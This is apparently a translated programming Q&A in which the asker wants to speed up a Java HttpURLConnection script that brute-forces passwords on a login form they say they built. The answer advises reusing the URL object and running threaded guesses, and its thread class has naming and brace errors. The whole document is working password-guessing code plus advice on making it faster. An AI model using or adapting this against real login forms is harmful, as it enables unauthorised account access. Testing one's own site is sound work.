java - 使用 Java HTTP URL 连接进行暴力破解

Question

我正在尝试暴力破解我自己在网站上创建的简单登录表单。最初我使用WebScarab的模糊器插件，它非常快。然后我想定制更多，这样我想我可以通过非常简单的编码来完成蛮力。但令我惊讶的是，我的 Java 代码运行得很慢:大约每秒 2.5 个请求，这比 WebScarab 的插件慢得多......我觉得我可能没有正确完成连接部分......有什么帮助吗？谢谢!

public class HTTPURLConnection {


int guessPassword = 0;

public static void main(String[] args) throws Exception {

    HTTPURLConnection http = new HTTPURLConnection();

    System.out.println("Start!");

            //I'm simply guessing password ranging from 0 to 200
    for (int i =0; i<200; i++) {


        if(http.sendPost())
            break;

    }
    System.out.println("Done!");

    }



    private boolean sendPost() throws Exception {

    String url = "http://mywebsite.com/myfile.php";
    URL obj = new URL(url);

    HttpURLConnection con = (HttpURLConnection) obj.openConnection();

    //add request header
    con.setRequestMethod("POST");
    con.setRequestProperty("User-Agent", "Mozilla/5.0  etc.");
    con.setRequestProperty("Accept-Language", "en-US,en;q=0.8");
    con.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
    con.setRequestProperty("Connection", "keep-alive");
    con.setRequestProperty("Accept", "*/*");
    con.setRequestProperty("Accept-Encoding", "gzip,deflate,sdch");

    guessPassword ++;


    String urlParameters = "name=userName&pwd="+guessPassword;

    // Send post request
    con.setDoOutput(true);
    DataOutputStream wr = new DataOutputStream(con.getOutputStream());
    wr.writeBytes(urlParameters);
    wr.flush();
    wr.close();

    int responseCode = con.getResponseCode();

    BufferedReader in = new BufferedReader(
            new InputStreamReader(con.getInputStream()));
    String inputLine;
    StringBuffer response = new StringBuffer();

    while ((inputLine = in.readLine()) != null) {
        response.append(inputLine);
    }
    in.close();

    //if password is not correct, my form should return false
    if (response.toString().equals("false"))
        return false;
    else 
        return true;

    }
}

Answer 1

您可以将 BufferedReader 的输入大小更改为更大......尝试使用相同的 url 对象，而不是每次都重新创建它......

此外，您可以与线程同时运行此方法多次......

class HTTPThread extends Thread {
     URL url;
     boolean success = false;
     String pass;
     PrimeThread(Url url,String pass) {
         this.url = url;
         this.pass = pass;
     }

     public void run() {
         HttpURLConnection con = (HttpURLConnection) url.openConnection();

         //add request header
         con.setRequestMethod("POST");
         con.setRequestProperty("User-Agent", "Mozilla/5.0  etc.");
         con.setRequestProperty("Accept-Language", "en-US,en;q=0.8");
         con.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
         con.setRequestProperty("Connection", "keep-alive");
         con.setRequestProperty("Accept", "*/*");
         con.setRequestProperty("Accept-Encoding", "gzip,deflate,sdch");




         String urlParameters = "name=userName&pwd="+pass;

         // Send post request
         con.setDoOutput(true);
         DataOutputStream wr = new DataOutputStream(con.getOutputStream());
         wr.writeBytes(urlParameters);
         wr.flush();
         wr.close();

         int responseCode = con.getResponseCode();

         BufferedReader in = new BufferedReader(
                 new InputStreamReader(con.getInputStream()));
         String inputLine;
         StringBuffer response = new StringBuffer();

         while ((inputLine = in.readLine()) != null) {
             response.append(inputLine);
         }
         in.close();

         //if password is not correct, my form should return false
         if (response.toString().equals("false"))
             success= false;
         else 
             success= true;
         }
     }
     public String getPassword(){return pass;}
     public boolean isSuccess(){return success;}
 }